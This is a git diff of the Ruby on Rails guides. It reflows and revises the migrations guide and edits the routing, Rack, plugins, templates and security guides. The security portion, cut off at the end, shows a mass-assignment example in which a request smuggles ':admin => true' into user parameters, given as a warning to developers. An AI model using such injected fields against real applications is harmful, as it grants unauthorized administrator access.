+<ruby> +create_join_table :products, :categories, :table_name => :categorization +</ruby> + +will create a +categorization+ table. + +By default, +create_join_table+ will create two columns with no options, but you can specify these +options using the +:column_options+ option. For example, + +<ruby> +create_join_table :products, :categories, :column_options => {:null => true} +</ruby> + +will create the +product_id+ and +category_id+ with the +:null+ option as +true+. h4. Changing Tables -A close cousin of +create_table+ is +change_table+, used for changing existing tables. It is used in a similar fashion to +create_table+ but the object yielded to the block knows more tricks. For example +A close cousin of +create_table+ is +change_table+, used for changing existing +tables. It is used in a similar fashion to +create_table+ but the object yielded +to the block knows more tricks. For example <ruby> change_table :products do |t| @@ -301,28 +429,23 @@ change_table :products do |t| end </ruby> -removes the +description+ and +name+ columns, creates a +part_number+ column and adds an index on it. Finally it renames the +upccode+ column. This is the same as doing - -<ruby> -remove_column :products, :description -remove_column :products, :name -add_column :products, :part_number, :string -add_index :products, :part_number -rename_column :products, :upccode, :upc_code -</ruby> - -You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example +remove_column+ becomes just +remove+ and +add_index+ becomes just +index+. +removes the +description+ and +name+ columns, creates a +part_number+ string +column and adds an index on it. Finally it renames the +upccode+ column. h4. Special Helpers -Active Record provides some shortcuts for common functionality. It is for example very common to add both the +created_at+ and +updated_at+ columns and so there is a method that does exactly that: +Active Record provides some shortcuts for common functionality. It is for +example very common to add both the +created_at+ and +updated_at+ columns and so +there is a method that does exactly that: <ruby> create_table :products do |t| t.timestamps end </ruby> -will create a new products table with those two columns (plus the +id+ column) whereas + +will create a new products table with those two columns (plus the +id+ column) +whereas <ruby> change_table :products do |t| @@ -331,7 +454,8 @@ end </ruby> adds those columns to an existing table. -The other helper is called +references+ (also available as +belongs_to+). In its simplest form it just adds some readability +Another helper is called +references+ (also available as +belongs_to+). In its +simplest form it just adds some readability. <ruby> create_table :products do |t| @@ -339,24 +463,42 @@ create_table :products do |t| end </ruby> -will create a +category_id+ column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the +_id+ for you. If you have polymorphic +belongs_to+ associations then +references+ will add both of the columns required: +will create a +category_id+ column of the appropriate type. Note that you pass +the model name, not the column name. Active Record adds the +_id+ for you. If +you have polymorphic +belongs_to+ associations then +references+ will add both +of the columns required: <ruby> create_table :products do |t| t.references :attachment, :polymorphic => {:default => 'Photo'} end </ruby> -will add an +attachment_id+ column and a string +attachment_type+ column with a default value of 'Photo'. -NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ for that or a plugin that adds "foreign key support":#active-record-and-referential-integrity. +will add an +attachment_id+ column and a string +attachment_type+ column with +a default value of 'Photo'. + +NOTE: The +references+ helper does not actually create foreign key constraints +for you. You will need to use +execute+ or a plugin that adds "foreign key +support":#active-record-and-referential-integrity. -If the helpers provided by Active Record aren't enough you can use the +execute+ function to execute arbitrary SQL. +If the helpers provided by Active Record aren't enough you can use the +execute+ +method to execute arbitrary SQL. -For more details and examples of individual methods check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods), "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+). +For more details and examples of individual methods, check the API documentation, +in particular the documentation for +"<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html +(which provides the methods available in the +up+ and +down+ methods), +"<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html +(which provides the methods available on the object yielded by +create_table+) +and +"<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html +(which provides the methods available on the object yielded by +change_table+). -h4. Writing Your +change+ Method +h4. Using the +change+ Method -The +change+ method removes the need to write both +up+ and +down+ methods in those cases that Rails know how to revert the changes automatically. Currently, the +change+ method supports only these migration definitions: +The +change+ method removes the need to write both +up+ and +down+ methods in +those cases that Rails know how to revert the changes automatically. Currently, +the +change+ method supports only these migration definitions: * +add_column+ * +add_index+ @@ -367,15 +509,20 @@ The +change+ method removes the need to write both +up+ and +down+ methods in th * +rename_index+ * +rename_table+ -If you're going to use other methods, you'll have to write the +up+ and +down+ methods normally. +If you're going to need to use any other methods, you'll have to write the ++up+ and +down+ methods instead of using the +change+ method. -h4. Writing Your +down+ Method +h4. Using the +up+/+down+ Methods -The +down+ method of your migration should revert the transformations done by the +up+ method. In other words the database schema should be unchanged if you do an +up+ followed by a +down+. For example if you create a table in the +up+ method you should drop it in the +down+ method. It is wise to do things in precisely the reverse order to in the +up+ method. For example +The +down+ method of your migration should revert the transformations done by +the +up+ method. In other words, the database schema should be unchanged if you +do an +up+ followed by a +down+. For example, if you create a table in the +up+ +method, you should drop it in the +down+ method. It is wise to reverse the +transformations in precisely the reverse order they were made in the +up+ +method. For example, <ruby> class ExampleMigration < ActiveRecord::Migration - def up create_table :products do |t| t.references :category @@ -387,47 +534,69 @@ class ExampleMigration < ActiveRecord::Migration FOREIGN KEY (category_id) REFERENCES categories(id) SQL - add_column :users, :home_page_url, :string - rename_column :users, :email, :email_address end def down rename_column :users, :email_address, :email remove_column :users, :home_page_url - execute "ALTER TABLE products DROP FOREIGN KEY fk_products_categories" + execute <<-SQL + ALTER TABLE products + DROP FOREIGN KEY fk_products_categories + SQL drop_table :products end end </ruby> -Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise +ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries to revert your migration an error message will be displayed saying that it can't be done. +Sometimes your migration will do something which is just plain irreversible; for +example, it might destroy some data. In such cases, you can raise ++ActiveRecord::IrreversibleMigration+ from your +down+ method. If someone tries +to revert your migration, an error message will be displayed saying that it +can't be done. h3. Running Migrations -Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be +db:migrate+. In its most basic form it just runs the +up+ method for all the migrations that have not yet been run. If there are no such migrations it exits. +Rails provides a set of rake tasks to work with migrations which boil down to +running certain sets of migrations. + +The very first migration related rake task you will use will probably be ++rake db:migrate+. In its most basic form it just runs the +up+ or +change+ +method for all the migrations that have not yet been run. If there are +no such migrations, it exits. It will run these migrations in order based +on the date of the migration. -Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which will update your db/schema.rb file to match the structure of your database. +Note that running the +db:migrate+ also invokes the +db:schema:dump+ task, which +will update your db/schema.rb file to match the structure of your database. -If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The -version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run +If you specify a target version, Active Record will run the required migrations +(up, down or change) until it has reached the specified version. The version +is the numerical prefix on the migration's filename. For example, to migrate +to version 20080906120000 run <shell> $ rake db:migrate VERSION=20080906120000 </shell> -If this is greater than the current version (i.e. it is migrating upwards) this will run the +up+ method on all migrations up to and including 20080906120000, if migrating downwards this will run the +down+ method on all the migrations down to, but not including, 20080906120000. +If version 20080906120000 is greater than the current version (i.e., it is +migrating upwards), this will run the +up+ method on all migrations up to and +including 20080906120000, and will not execute any later migrations. If +migrating downwards, this will run the +down+ method on all the migrations +down to, but not including, 20080906120000. h4. Rolling Back -A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run +A common task is to rollback the last migration, for example if you made a +mistake in it and wish to correct it. Rather than tracking down the version +number associated with the previous migration you can run <shell> $ rake db:rollback </shell> -This will run the +down+ method from the latest migration. If you need to undo several migrations you can provide a +STEP+ parameter: +This will run the +down+ method from the latest migration. If you need to undo +several migrations you can provide a +STEP+ parameter: <shell> $ rake db:rollback STEP=3 @@ -435,46 +604,65 @@ $ rake db:rollback STEP=3 will run the +down+ method from the last 3 migrations. -The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating back up again. As with the +db:rollback+ task you can use the +STEP+ parameter if you need to go more than one version back, for example +The +db:migrate:redo+ task is a shortcut for doing a rollback and then migrating +back up again. As with the +db:rollback+ task, you can use the +STEP+ parameter +if you need to go more than one version back, for example <shell> $ rake db:migrate:redo STEP=3 </shell> -Neither of these Rake tasks do anything you could not do with +db:migrate+, they are simply more convenient since you do not need to explicitly specify the version to migrate to. +Neither of these Rake tasks do anything you could not do with +db:migrate+. They +are simply more convenient, since you do not need to explicitly specify the +version to migrate to. -Lastly, the +db:reset+ task will drop the database, recreate it and load the current schema into it. +h4. Resetting the database -NOTE: This is not the same as running all the migrations - see the section on "schema.rb":#schema-dumping-and-you. +The +rake db:reset+ task will drop the database, recreate it and load the +current schema into it. -h4. Being Specific +NOTE: This is not the same as running all the migrations - see the section on +"schema.rb":#schema-dumping-and-you. -If you need to run a specific migration up or down the +db:migrate:up+ and +db:migrate:down+ tasks will do that. Just specify the appropriate version and the corresponding migration will have its +up+ or +down+ method invoked, for example +h4. Running specific migrations + +If you need to run a specific migration up or down, the +db:migrate:up+ and ++db:migrate:down+ tasks will do that. Just specify the appropriate version and +the corresponding migration will have its +up+ or +down+ method invoked, for +example, <shell> $ rake db:migrate:up VERSION=20080906120000 </shell> -will run the +up+ method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example +db:migrate:up VERSION=20080906120000+ will do nothing if Active Record believes that 20080906120000 has already been run. +will run the +up+ method from the 20080906120000 migration. These tasks still +check whether the migration has already run, so for example +db:migrate:up +VERSION=20080906120000+ will do nothing if Active Record believes that +20080906120000 has already been run. -h4. Being Talkative +h4. Changing the output of running migrations -By default migrations tell you exactly what they're doing and how long it took. A migration creating a table and adding an index might produce output like this +By default migrations tell you exactly what they're doing and how long it took. +A migration creating a table and adding an index might produce output like this <shell> -20080906170109 CreateProducts: migrating +== CreateProducts: migrating ================================================= -- create_table(:products) - -> 0.0021s --- add_index(:products, :name) - -> 0.0026s -20080906170109 CreateProducts: migrated (0.0059s) + -> 0.0028s +== CreateProducts: migrated (0.0028s) ======================================== </shell> -Several methods are provided that allow you to control all this: +Several methods are provided in migrations that allow you to control all this: -* +suppress_messages+ takes a block as an argument and suppresses any output generated by the block. -* +say+ takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not. -* +say_with_time+ outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. +|_.Method |_.Purpose| +|suppress_messages |Takes a block as an argument and suppresses any output + generated by the block.| +|say |Takes a message argument and outputs it as is. A second + boolean argument can be passed to specify whether to + indent or not.| +|say_with_time |Outputs text along with how long it took to run its + block. If the block returns an integer it assumes it + is the number of rows affected.| For example, this migration @@ -502,37 +690,46 @@ end generates the following output <shell> -20080906170109 CreateProducts: migrating - Created a table +== CreateProducts: migrating ================================================= +-- Created a table -> and an index! - Waiting for a while - -> 10.0001s +-- Waiting for a while + -> 10.0013s -> 250 rows -20080906170109 CreateProducts: migrated (10.0097s) +== CreateProducts: migrated (10.0054s) ======================================= </shell> -If you just want Active Record to shut up then running +rake db:migrate VERBOSE=false+ will suppress all output. +If you want Active Record to not output anything, then running +rake db:migrate +VERBOSE=false+ will suppress all output. h3. Using Models in Your Migrations -When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done, but some caution should be observed. +When creating or updating data in a migration it is often tempting to use one of +your models. After all, they exist to provide easy access to the underlying +data. This can be done, but some caution should be observed. -For example, problems occur when the model uses database columns which are (1) not currently in the database and (2) will be created by this or a subsequent migration. +For example, problems occur when the model uses database columns which are (1) +not currently in the database and (2) will be created by this or a subsequent +migration. -Consider this example, where Alice and Bob are working on the same code base which contains a +Product+ model: +Consider this example, where Alice and Bob are working on the same code base +which contains a +Product+ model: Bob goes on vacation. -Alice creates a migration for the +products+ table which adds a new column and initializes it. -She also adds a validation to the Product model for the new column. +Alice creates a migration for the +products+ table which adds a new column and +initializes it. She also adds a validation to the +Product+ model for the new +column. <ruby> # db/migrate/20100513121110_add_flag_to_product.rb class AddFlagToProduct < ActiveRecord::Migration def change - add_column :products, :flag, :int - Product.all.each { |f| f.update_attributes!(:flag => 'false') } + add_column :products, :flag, :boolean + Product.all.each do |product| + product.update_attributes!(:flag => 'false') + end end end </ruby> @@ -545,7 +742,9 @@ class Product < ActiveRecord::Base end </ruby> -Alice adds a second migration which adds and initializes another column to the +products+ table and also adds a validation to the Product model for the new column. +Alice adds a second migration which adds and initializes another column to the ++products+ table and also adds a validation to the +Product+ model for the new +column. <ruby> # db/migrate/20100515121110_add_fuzz_to_product.rb @@ -553,7 +752,9 @@ Alice adds a second migration which adds and initializes another column to the + class AddFuzzToProduct < ActiveRecord::Migration def change add_column :products, :fuzz, :string - Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' } + Product.all.each do |product| + product.update_attributes! :fuzz => 'fuzzy' + end end end </ruby> @@ -570,10 +771,14 @@ Both migrations work for Alice. Bob comes back from vacation and: -# updates the source - which contains both migrations and the latests version of the Product model. -# runs outstanding migrations with +rake db:migrate+, which includes the one that updates the +Product+ model. +# Updates the source - which contains both migrations and the latests version of +the Product model. +# Runs outstanding migrations with +rake db:migrate+, which +includes the one that updates the +Product+ model. -The migration crashes because when the model attempts to save, it tries to validate the second added column, which is not in the database when the _first_ migration runs. +The migration crashes because when the model attempts to save, it tries to +validate the second added column, which is not in the database when the _first_ +migration runs: <plain> rake aborted! @@ -582,9 +787,12 @@ An error has occurred, this and all later migrations canceled: undefined method `fuzz' for #<Product:0x000001049b14a0> </plain> -A fix for this is to create a local model within the migration. This keeps rails from running the validations, so that the migrations run to completion. +A fix for this is to create a local model within the migration. This keeps rails +from running the validations, so that the migrations run to completion. -When using a faux model, it's a good idea to call +Product.reset_column_information+ to refresh the ActiveRecord cache for the Product model prior to updating data in the database. +When using a faux model, it's a good idea to call ++Product.reset_column_information+ to refresh the +ActiveRecord+ cache for the ++Product+ model prior to updating data in the database. If Alice had done this instead, there would have been no problem: @@ -596,9 +804,11 @@ class AddFlagToProduct < ActiveRecord::Migration end def change - add_column :products, :flag, :int + add_column :products, :flag, :integer Product.reset_column_information - Product.all.each { |f| f.update_attributes!(:flag => false) } + Product.all.each do |product| + product.update_attributes!(:flag => false) + end end end </ruby> @@ -609,32 +819,50 @@ end class AddFuzzToProduct < ActiveRecord::Migration class Product < ActiveRecord::Base end + def change add_column :products, :fuzz, :string Product.reset_column_information - Product.all.each { |f| f.update_attributes! :fuzz => 'fuzzy' } + Product.all.each do |product| + product.update_attributes!(:fuzz => 'fuzzy') + end end end </ruby> - h3. Schema Dumping and You h4. What are Schema Files for? -Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either +db/schema.rb+ or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database. +Migrations, mighty as they may be, are not the authoritative source for your +database schema. That role falls to either +db/schema.rb+ or an SQL file which +Active Record generates by examining the database. They are not designed to be +edited, they just represent the current state of the database. -There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema. +There is no need (and it is error prone) to deploy a new instance of an app by +replaying the entire migration history. It is much simpler and faster to just +load into the database a description of the current schema. -For example, this is how the test database is created: the current development database is dumped (either to +db/schema.rb+ or +db/development.sql+) and then loaded into the test database. +For example, this is how the test database is created: the current development +database is dumped (either to +db/schema.rb+ or +db/structure.sql+) and then +loaded into the test database. -Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The "annotate_models":http://agilewebdevelopment.com/plugins/annotate_models plugin, which automatically adds (and updates) comments at the top of each model summarizing the schema, may also be of interest. +Schema files are also useful if you want a quick look at what attributes an +Active Record object has. This information is not in the model's code and is +frequently spread across several migrations, but the information is nicely +summed up in the schema file. The +"annotate_models":https://github.com/ctran/annotate_models gem automatically +adds and updates comments at the top of each model summarizing the schema if +you desire that functionality. h4. Types of Schema Dumps -There are two ways to dump the schema. This is set in +config/application.rb+ by the +config.active_record.schema_format+ setting, which may be either +:sql+ or +:ruby+. +There are two ways to dump the schema. This is set in +config/application.rb+ by +the +config.active_record.schema_format+ setting, which may be either +:sql+ or ++:ruby+. -If +:ruby+ is selected then the schema is stored in +db/schema.rb+. If you look at this file you'll find that it looks an awful lot like one very big migration: +If +:ruby+ is selected then the schema is stored in +db/schema.rb+. If you look +at this file you'll find that it looks an awful lot like one very big migration: <ruby> ActiveRecord::Schema.define(:version => 20080906171750) do @@ -646,30 +874,57 @@ ActiveRecord::Schema.define(:version => 20080906171750) do create_table "products", :force => true do |t| t.string "name" - t.text "description" + t.text "description" t.datetime "created_at" t.datetime "updated_at" - t.string "part_number" + t.string "part_number" end end </ruby> -In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using +create_table+, +add_index+, and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases. - -There is however a trade-off: +db/schema.rb+ cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to +:sql+. - -Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the +db:structure:dump+ Rake task) into +db/#{Rails.env}_structure.sql+. For example for PostgreSQL the +pg_dump+ utility is used and for MySQL this file will contain the output of +SHOW CREATE TABLE+ for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside. - -By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it. +In many ways this is exactly what it is. This file is created by inspecting the +database and expressing its structure using +create_table+, +add_index+, and so +on. Because this is database-independent, it could be loaded into any database +that Active Record supports. This could be very useful if you were to distribute +an application that is able to run against multiple databases. + +There is however a trade-off: +db/schema.rb+ cannot express database specific +items such as foreign key constraints, triggers, or stored procedures. While in +a migration you can execute custom SQL statements, the schema dumper cannot +reconstitute those statements from the database. If you are using features like +this, then you should set the schema format to +:sql+. + +Instead of using Active Record's schema dumper, the database's structure will be +dumped using a tool specific to the database (via the +db:structure:dump+ Rake task) +into +db/structure.sql+. For example, for the PostgreSQL RDBMS, the ++pg_dump+ utility is used. For MySQL, this file will contain the output of +SHOW +CREATE TABLE+ for the various tables. Loading these schemas is simply a question +of executing the SQL statements they contain. By definition, this will create a +perfect copy of the database's structure. Using the +:sql+ schema format will, +however, prevent loading the schema into a RDBMS other than the one used to +create it. h4. Schema Dumps and Source Control -Because schema dumps are the authoritative source for your database schema, it is strongly recommended that you check them into source control. +Because schema dumps are the authoritative source for your database schema, it +is strongly recommended that you check them into source control. h3. Active Record and Referential Integrity -The Active Record way claims that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database, are not heavily used. - -Validations such as +validates :foreign_key, :uniqueness => true+ are one way in which models can enforce data integrity. The +:dependent+ option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints. - -Although Active Record does not provide any tools for working directly with such features, the +execute+ method can be used to execute arbitrary SQL. There are also a number of plugins such as "foreign_key_migrations":https://github.com/harukizaemon/redhillonrails/tree/master/foreign_key_migrations/ which add foreign key support to Active Record (including support for dumping foreign keys in +db/schema.rb+). +The Active Record way claims that intelligence belongs in your models, not in +the database. As such, features such as triggers or foreign key constraints, +which push some of that intelligence back into the database, are not heavily +used. + +Validations such as +validates :foreign_key, :uniqueness => true+ are one way in +which models can enforce data integrity. The +:dependent+ option on associations +allows models to automatically destroy child objects when the parent is +destroyed. Like anything which operates at the application level, these cannot +guarantee referential integrity and so some people augment them with foreign key +constraints in the database. + +Although Active Record does not provide any tools for working directly with such +features, the +execute+ method can be used to execute arbitrary SQL. You could +also use some plugin like "foreigner":https://github.com/matthuhiggins/foreigner +which add foreign key support to Active Record (including support for dumping +foreign keys in +db/schema.rb+). diff --git a/railties/guides/source/performance_testing.textile b/railties/guides/source/performance_testing.textile index f3ea7e38bc..958b13cd9e 100644 --- a/railties/guides/source/performance_testing.textile +++ b/railties/guides/source/performance_testing.textile @@ -151,7 +151,7 @@ Performance tests can be run in two modes: Benchmarking and Profiling. h5. Benchmarking -Benchmarking makes it easy to quickly gather a few metrics about each test tun. By default, each test case is run *4 times* in benchmarking mode. +Benchmarking makes it easy to quickly gather a few metrics about each test run. By default, each test case is run *4 times* in benchmarking mode. To run performance tests in benchmarking mode: @@ -447,7 +447,7 @@ h4. Using Ruby-Prof on MRI and REE Add Ruby-Prof to your applications' Gemfile if you want to benchmark/profile under MRI or REE: <ruby> -gem 'ruby-prof', :path => 'git://github.com/wycats/ruby-prof.git' +gem 'ruby-prof', :git => 'git://github.com/wycats/ruby-prof.git' </ruby> Now run +bundle install+ and you're ready to go. diff --git a/railties/guides/source/plugins.textile b/railties/guides/source/plugins.textile index 5cfd336d1e..ccff2a1eed 100644 --- a/railties/guides/source/plugins.textile +++ b/railties/guides/source/plugins.textile @@ -30,16 +30,6 @@ Before you continue, take a moment to decide if your new plugin will be potentia * If your plugin is specific to your application, your new plugin will be a _vendored plugin_. * If you think your plugin may be used across applications, build it as a _gemified plugin_. -h4. Either generate a vendored plugin... - -Use the +rails generate plugin+ command in your Rails root directory - to create a new plugin that will live in the +vendor/plugins+ - directory. See usage and options by asking for help: - -<shell> -$ rails generate plugin --help -</shell> - h4. Or generate a gemified plugin. Writing your Rails plugin as a gem, rather than as a vendored plugin, @@ -412,30 +402,6 @@ After running +bundle install+, your gem functionality will be available to the When the gem is ready to be shared as a formal release, it can be published to "RubyGems":http://www.rubygems.org. For more information about publishing gems to RubyGems, see: "http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html":http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html -h3. Non-Gem Plugins - -Non-gem plugins are useful for functionality that won't be shared with another project. Keeping your custom functionality in the -vendor/plugins directory un-clutters the rest of the application. - -Move the directory that you created for the gem based plugin into the vendor/plugins directory of a generated Rails application, create a vendor/plugins/yaffle/init.rb file that contains "require 'yaffle'" and everything will still work. - -<ruby> -# yaffle/init.rb - -require 'yaffle' -</ruby> - -You can test this by changing to the Rails application that you added the plugin to and starting a rails console. Once in the -console we can check to see if the String has an instance method to_squawk: - -<shell> -$ cd my_app -$ rails console -$ "Rails plugins are easy!".to_squawk -</shell> - -You can also remove the .gemspec, Gemfile and Gemfile.lock files as they will no longer be needed. - h3. RDoc Documentation Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. @@ -461,4 +427,3 @@ h4. References * "Using Gemspecs As Intended":http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/ * "Gemspec Reference":http://docs.rubygems.org/read/chapter/20 * "GemPlugins":http://www.mbleigh.com/2008/06/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins -* "Keeping init.rb thin":http://daddy.platte.name/2007/05/rails-plugins-keep-initrb-thin.html diff --git a/railties/guides/source/rails_application_templates.textile b/railties/guides/source/rails_application_templates.textile index 3b51a52733..f50ced3307 100644 --- a/railties/guides/source/rails_application_templates.textile +++ b/railties/guides/source/rails_application_templates.textile @@ -1,6 +1,6 @@ h2. Rails Application Templates -Application templates are simple Ruby files containing DSL for adding plugins/gems/initializers etc. to your freshly created Rails project or an existing Rails project. +Application templates are simple Ruby files containing DSL for adding gems/initializers etc. to your freshly created Rails project or an existing Rails project. By referring to this guide, you will be able to: @@ -82,31 +82,6 @@ For example, if you need to source a gem from "http://code.whytheluckystiff.net" add_source "http://code.whytheluckystiff.net" </ruby> -h4. plugin(name, options = {}) - -Installs a plugin to the generated application. - -Plugin can be installed from Git: - -<ruby> -plugin 'authentication', :git => 'git://github.com/foor/bar.git' -</ruby> - -You can even install plugins as git submodules: - -<ruby> -plugin 'authentication', :git => 'git://github.com/foor/bar.git', - :submodule => true -</ruby> - -Please note that you need to +git :init+ before you can install a plugin as a submodule. - -Or use plain old SVN: - -<ruby> -plugin 'usingsvn', :svn => 'svn://example.com/usingsvn/trunk' -</ruby> - h4. vendor/lib/file/initializer(filename, data = nil, &block) Adds an initializer to the generated application’s +config/initializers+ directory. diff --git a/railties/guides/source/rails_on_rack.textile b/railties/guides/source/rails_on_rack.textile index 57c03b54dc..9526526bc7 100644 --- a/railties/guides/source/rails_on_rack.textile +++ b/railties/guides/source/rails_on_rack.textile @@ -95,6 +95,7 @@ use ActiveSupport::Cache::Strategy::LocalCache use Rack::Runtime use Rails::Rack::Logger use ActionDispatch::ShowExceptions +use ActionDispatch::DebugExceptions use ActionDispatch::RemoteIp use Rack::Sendfile use ActionDispatch::Callbacks @@ -166,8 +167,9 @@ Much of Action Controller's functionality is implemented as Middlewares. The fol |+Rack::Lock+|Sets <tt>env["rack.multithread"]</tt> flag to +true+ and wraps the application within a Mutex.| |+ActionController::Failsafe+|Returns HTTP Status +500+ to the client if an exception gets raised while dispatching.| |+ActiveRecord::QueryCache+|Enables the Active Record query cache.| -|+ActionController::Session::CookieStore+|Uses the cookie based session store.| -|+ActionController::Session::MemCacheStore+|Uses the memcached based session store.| +|+ActionDispatch::Session::CookieStore+|Uses the cookie based session store.| +|+ActionDispatch::Session::CacheStore+|Uses the Rails cache based session store.| +|+ActionDispatch::Session::MemCacheStore+|Uses the memcached based session store.| |+ActiveRecord::SessionStore+|Uses the database based session store.| |+Rack::MethodOverride+|Sets HTTP method based on +_method+ parameter or <tt>env["HTTP_X_HTTP_METHOD_OVERRIDE"]</tt>.| |+Rack::Head+|Discards the response body if the client sends a +HEAD+ request.| diff --git a/railties/guides/source/routing.textile b/railties/guides/source/routing.textile index 0a9f1e8388..0823fb14e3 100644 --- a/railties/guides/source/routing.textile +++ b/railties/guides/source/routing.textile @@ -596,6 +596,8 @@ match "/stories/:name" => redirect {|params| "/posts/#{params[:name].pluralize}" match "/stories" => redirect {|p, req| "/posts/#{req.subdomain}" } </ruby> +Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible. + In all of these cases, if you don't provide the leading host (+http://www.example.com+), Rails will take those details from the current request. h4. Routing to Rack Applications @@ -618,7 +620,7 @@ You can specify what Rails should route +"/"+ to with the +root+ method: root :to => 'pages#main' </ruby> -You should put the +root+ route at the end of the file. You also need to delete the +public/index.html+ file for the root route to take effect. +You should put the +root+ route at the top of the file, because it is the most popular route and should be matched first. You also need to delete the +public/index.html+ file for the root route to take effect. h3. Customizing Resourceful Routes @@ -653,7 +655,7 @@ You can use the +:constraints+ option to specify a required format on the implic resources :photos, :constraints => {:id => /[A-Z][A-Z][0-9]+/} </ruby> -This declaration constraints the +:id+ parameter to match the supplied regular expression. So, in this case, the router would no longer match +/photos/1+ to this route. Instead, +/photos/RR27+ would match. +This declaration constrains the +:id+ parameter to match the supplied regular expression. So, in this case, the router would no longer match +/photos/1+ to this route. Instead, +/photos/RR27+ would match. You can specify a single constraint to apply to a number of routes by using the block form: diff --git a/railties/guides/source/ruby_on_rails_guides_guidelines.textile b/railties/guides/source/ruby_on_rails_guides_guidelines.textile index e63f564c83..29aefd25f8 100644 --- a/railties/guides/source/ruby_on_rails_guides_guidelines.textile +++ b/railties/guides/source/ruby_on_rails_guides_guidelines.textile @@ -26,7 +26,7 @@ h5. When are Objects Saved? Use the same typography as in regular text: <plain> -h6. The +:content_type+ Option +h6. The <tt>:content_type</tt> Option </plain> h3. API Documentation Guidelines diff --git a/railties/guides/source/security.textile b/railties/guides/source/security.textile index 4cf9e2a7f3..b1a09c0c05 100644 --- a/railties/guides/source/security.textile +++ b/railties/guides/source/security.textile @@ -82,9 +82,9 @@ This will also be a good idea, if you modify the structure of an object and old h4. Session Storage --- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore._ +-- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecord::SessionStore and ActionDispatch::Session::CookieStore._ -There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request. +There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecord::SessionStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecord::SessionStore keeps the session id and hash in a database table and saves and retrieves the hash on every request. Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it: @@ -157,9 +157,9 @@ One possibility is to set the expiry time-stamp of the cookie with the session i <ruby> class Session < ActiveRecord::Base def self.sweep(time = 1.hour) - time = time.split.inject { |count, unit| - count.to_i.send(unit) - } if time.is_a?(String) + if time.is_a?(String) + time = time.split.inject { |count, unit| count.to_i.send(unit) } + end delete_all "updated_at < '#{time.ago.to_s(:db)}'" end @@ -385,7 +385,7 @@ params[:user] # => {:name => “ow3ned”, :admin => true} So if you create a new user using mass-assignment, it may be too easy to become an administrator. -Note that this vulnerability is not restricted to database columns. Any setter method, unless explicitly protected, is accessible via the <tt>attributes=</tt> method. In fact, this vulnerability is extended even further with the introduction of nested mass assignment (and nested object forms) in Rails 2.3+. The +accepts_nested_attributes_for+ declaration provides us the ability to extend mass assignment to model associations (+has_many+, +has_one+, 